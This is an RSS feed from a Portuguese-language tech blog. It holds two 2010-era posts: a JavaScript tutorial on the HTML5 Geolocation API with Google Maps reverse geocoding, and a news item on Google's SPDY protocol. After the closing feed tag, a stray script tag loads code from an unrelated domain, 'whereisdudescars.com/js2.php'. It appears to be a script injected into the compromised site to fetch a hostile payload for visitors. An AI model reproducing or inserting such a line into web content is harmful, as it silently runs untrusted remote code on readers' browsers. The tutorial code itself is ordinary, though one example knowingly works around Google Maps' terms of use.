<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; Web</title>
	<atom:link href="http://marcos.blog.br/category/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Localização do Usuário com a API Geolocation do HTML5</title>
		<link>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/</link>
		<comments>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 00:01:10 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Geolocation]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=262</guid>
		<description><![CDATA[Sempre existiu diversas formas de saber a localização física do usuário através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis. Com a API Geolocation que está vindo com HTML5, saber a localização de quem visita seu site se tornou bem ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" rel="lightbox[262]" title="geolocation"><img class="alignleft size-full wp-image-268" title="geolocation" src="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" alt="" width="226" height="210" /></a>Sempre existiu diversas formas de saber a <strong>localização física do usuário</strong> através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis.</p>
<p>Com a <strong><a  href="http://www.w3.org/TR/geolocation-API/" target="_blank">API Geolocation</a></strong> que está vindo com <strong>HTML5</strong>, saber a <strong>localização de quem visita seu site se tornou bem simples</strong>. As aplicações para esta API são inúmeras e a qualidade do serviços prestados por sites podem melhorar significativamente com esta facilidade, e o melhor, <strong>de forma gratuita</strong>.</p>
<p>Lembrando que nem todos os navegadores novos suportam esta API. Fiz testes no Google Chrome 5.0.375.99, Firefox 3.6.6 e no Opera 10.60 (todos na versão Linux, claro). Li por aí que o Internet Explorer 8 tem uma implementação de teste. Então se alguém testar no IE, favor deixar nos comentários informações sobre seu suporte.</p>
<p>A <strong>API Geolocation prevê a captura da posição geográfica</strong>, ou seja,<strong> latitude e longitude</strong>. E isso já resolve tudo. Com as coordenadas geográficas é <strong>possível integrar com outras ferramentas</strong> e obter o <strong>logradouro</strong> e até mesmo integrando com o Google Maps <strong>gerar um mapa com a localização do usuário</strong>.</p>
<blockquote><p>Lembrando: Se você tem dúvida se o seu navegador suporta esta API, use o site <a  href="http://html5test.com/" target="_blank">html5teste.com</a> e procure por <strong>Geolocation</strong>.</p></blockquote>
<p><br/></p>
<h2>Segurança</h2>
<p>Se você está preocupado com a segurança e não quer que determinados sites saibam sua localização, a documentação da API prevê<strong> autorização prévia do usuário</strong> para o compartilhamento dessa informação com o site em que você está navegando.</p>
<p>Ao acessar um site que deseja utilizar sua localização para agregar algum serviço, provavelmente você verá a mensagem abaixo (Opera):</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" rel="lightbox[262]" title="geo-location-autorizacao"><img class="alignleft size-full wp-image-264" title="geo-location-autorizacao" src="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" alt="" width="490" height="22" /></a><br/><br/></p>
<p>Muito mais justo do que qualquer site saber a sua localização sem o seu consentimento.<br />
<br/></p>
<h2>Exemplo Simples: Obtendo as Coordenadas Geográficas</h2>
<p>Para entender o funcionamento da <strong>API </strong>vamos a um <strong>simples exemplo para obter as Coordenadas Geográficas</strong>:</p>
<pre class="brush:javascript">
// verifica o suporte do navegador a API Geolocation
if(navigator.geolocation){
	// Obtem a posição atual
	navigator.geolocation.getCurrentPosition(

	// Em caso de sucesso, obtem a latitude e a longitude
	function(position){
		var lat = position.coords.latitude;
		var lon = position.coords.longitude;
		alert('Latitude:' + lat + ', Longitude: ' + lon);
	},
	// Caso ocorra algum erro (Ex.: O usuário não autorizar o compartilhamento da localização)
	function(error){
		alert('Erro ao capturar localização geográfica.');
	});
}
// Caso o navegador não tenha suporte
else{
	alert('Seu navegador não tem suporte a API Geolocation.');
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-lat-lon.html" target="_blank"><strong>Clique aqui para ver o exemplo funcionando.</strong></a></p>
<p>Agora que temos as Coordenadas Geográficas, o que fazer com esses números?</p>
<p>Podemos simplesmente saber em qual cidade se localiza essas coordenadas:<br />
<br/></p>
<h2>Obtendo o Endereço Através das Coordenadas</h2>
<p>Existem algumas maneiras de se <strong>obter o endereço através de coordenadas</strong>. Este processo é chamado de “<a  href="http://en.wikipedia.org/wiki/Reverse_geocoding" target="_blank"><strong>reverse geo-coding</strong></a>”. Como no Brasil nós não temos um web service que faz esse trabalho a exemplo do <a  href="http://www.geonames.org" target="_blank">geoNames.org</a> que possui os endereços dos EUA, nós temos que arrumar outra solução.</p>
<p>Então vamos criar uma solução <strong>utilizando a API do Google Maps</strong>. De acordo com os <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">Termos e Utilização da API do Google Maps</a>, você somente pode usar essas informações para exibi-las em um mapa. Qualquer outra forma de exibição é proibida. Porém, existe um meio de extrair essas informações sem imprimi-las em um mapa e que será demonstrado. Lembrando que o código a seguir é apenas um estudo de caso e não pode ser utilizado por ir contra os Termos de Utilização da API do Google Maps.</p>
<p>Para começar, vamos precisar chamar a API do Google Maps e para isso antes temos que <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">gerar uma Chave</a> para autenticação de acordo com o domínio que você for utilizar:<br />
<br/></p>
<pre>
&lt;script type=&quot;text/javascript&quot; src=http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=sua-chave&quot;&gt;&lt;/script&gt;
</pre>
<p><br/><br />
Para conseguir <strong>obter os dados de endereçamento</strong>, vamos utilizar um método chamado <a  href="http://code.google.com/intl/pt-BR/apis/maps/documentation/javascript/v2/reference.html#GClientGeocoder" target="_blank"><strong>GClientGeocoder</strong></a>. Originalmente, este método serve para gerar um endereço que será marcado em um mapa (como no último exemplo deste artigo). Mas não vamos trabalhar com mapas ainda. O código a seguir é capaz de pegar informações separadamente, como na imagem abaixo.</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" rel="lightbox[262]" title="Captura_de_tela"><img class="size-full wp-image-270 alignnone" title="Captura_de_tela" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" alt="" width="455" height="120" /></a></p>
<p>Vamos aproveitar o primeiro exemplo para <strong>obter a Latitude e a Longitude da sua localização e depois pegar os dados do endereço</strong>. Veja o código a seguir:</p>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o GeoCoder
			var geocoder = new GClientGeocoder();
			// Informamos a localização e chamamos uma função no retorno da solicitação
			geocoder.getLocations("("+lat+','+lon+")",localizacao);
			//alert(geocoder);

			function localizacao(retorno){
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					// Placemark é o objeto que contém as infos do endereço
					// Veja no exemplo as informações que contém no Placemark
					endereco = retorno.Placemark[0];
					alert(endereco.address);
				}
			}
		}
	);
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-endereco.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Até aqui já obtivemos as <strong>Coordenadas Geográficas</strong>, já conseguimos as <strong>Informações de Endereço</strong> e agora vamos mostrar no Mapa a localização do usuário.<br />
<br/></p>
<h2>Exibindo a Localização no Mapa com Google Maps</h2>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" rel="lightbox[262]" title="Captura_de_tela-1"><img class="alignnone size-full wp-image-271" title="Captura_de_tela-1" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" alt="" width="281" height="284" /></a></p>
<p>Para exibir no mapa, vamos continuar utilizando a <strong>API do Google Maps</strong> modificando o exemplo acima. Veja como fica:</p>
<pre>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o Mapa
			map = new GMap2(document.getElementById("mapa"));
			// Centralizando na localização
			map.setCenter(new GLatLng(lat,lon), 15);
			// Iniciando o GeoCoder para fazer o Reverter
			geocoder = new GClientGeocoder();
			// Marcando a localização no Mapa
			geocoder.getLocations('('+lat+','+lon+')', exibeEnd);

			// Personalizando a marcação
			function exibeEnd(retorno){
				map.clearOverlays();
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					place = retorno.Placemark[0];
					point = new GLatLng(place.Point.coordinates[1], place.Point.coordinates[0]);
					marker = new GMarker(point);
					map.addOverlay(marker);
					marker.openInfoWindowHtml(
					'<b>Coordenadas:</b> ' + place.Point.coordinates[1] + "," + place.Point.coordinates[0] + '<br/>' +
					'<b>Logradouro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.Thoroughfare.ThoroughfareName+ '' +
					'<b>Bairro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.DependentLocalityName + '<br/>' +
					'<b>Cidade:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.LocalityName + '<br/>' +
					'<b>País:</b> ' + place.AddressDetails.Country.CountryNameCode);
				}
			}
		}
	);
}
</pre>
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-mapa.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Nenhum exemplo desse blog <span style="text-decoration: underline;"><strong>armazena informações do usuário</strong></span> e serve apenas para demonstrar o funcionamento da <strong>API Geolocation</strong>.<br />
<br/></p>
<h2>Conclusão</h2>
<p>A <strong>API Geolocation</strong> realmente<strong> abre um leque de possibilidades</strong> e o que podemos esperar são <strong>aplicações cada vez mais ricas e interativas</strong>, que possam oferecer <strong>serviços de acordo com a localização do usuário</strong>, assim como já fazem alguns aplicativos para dispositivos móveis, ou simplesmente uma empresa poderá exibir em sua <strong>página de contato um &#8220;como chegar&#8221; a partir da sua localização</strong>. Isso pode ser facilmente implementado com poucas modificações no código do artigo &#8220;<a  href="http://marcos.blog.br/2009/10/tracando-rota-com-a-api-do-google-maps/" target="_self"><strong>Traçando Rota com o Google Maps</strong></a>&#8221; publicando neste Blog.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google planeja tornar a Web duas vezes mais rápida</title>
		<link>http://marcos.blog.br/2009/11/google-planeja-tornar-a-web-duas-vezes-mais-rapida/</link>
		<comments>http://marcos.blog.br/2009/11/google-planeja-tornar-a-web-duas-vezes-mais-rapida/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 14:18:35 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Google Maps]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=152</guid>
		<description><![CDATA[Recentemente em um post no blog oficial do Chrome, seu navegador, o Google revelou que andou realizando testes em um protocolo denominado "SPDY", nome que veio da palavra "Speedy" do inglês. Bem apropriado para a idéia de deixar a Web duas vezes mais rápida]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><img class="size-thumbnail wp-image-155 alignleft" style="margin-top: 0px; margin-bottom: 0px; margin-left: 6px; margin-right: 6px;" title="chromium" src="http://marcos.blog.br/wp-content/uploads/2009/11/chromium-150x150.jpg" alt="chromium" width="150" height="150" />Que o <strong>Google investe milhões em pesquisas</strong> todo mundo sabe. Sempre somos surpreendidos por novidades. No entanto ninguém imagina até onde vai seus limites.</p>
<p>O Google anda fazendo pesquisas a um nível tão avançado, que estuda meios de substituir o protocolo HTTP que hoje é a base da Word Wide Web.</p>
<p>Recentemente em um post no blog oficial do Chrome, seu navegador, o Google revelou que andou realizando testes  em um protocolo denominado &#8220;<strong>SPDY</strong>&#8220;, nome que veio da palavra &#8220;Speedy&#8221; do inglês. Bem apropriado para a ideia de deixar a <strong>Web duas vezes mais rápida</strong>.</p>
<p>O Protocolo HTTP vem alimentando a Web desde 1996, e o tom do post faz referência ao novo SPDY como um protocolo que irá aposentar o velho HTTP. Hoje em dia sabemos que o Google é uma das poucas empresas com cacife suficiente e recursos para estimular a evolução de sites e navegadores com um protocolo novo que visa acelerar a comunicação entre servidores web e clientes.</p>
<p>O Google revelou ainda que já tem um <strong>protótipo de um servidor Web e um cliente Chrome com suporte ao SPDY embutido</strong> e que foram testados em laboratório. Em testes, eles teriam conseguido um <strong>aumento de 55% na velocidade do carregamento da página</strong>.</p>
<p>Confiantes em seu protocolo, o google disponibilizou a <a  href="http://dev.chromium.org/spdy" target="_blank">documentação do SPDY</a>, bem como o <a  href="http://src.chromium.org/viewvc/chrome/trunk/src/net/flip/" target="_blank">código fonte</a> e deseja que a comunidade participe dando o <a  href="http://groups.google.com/group/chromium-discuss/?pli=1" target="_blank">feedback</a> sobre este revolucionário projeto.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/11/google-planeja-tornar-a-web-duas-vezes-mais-rapida/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>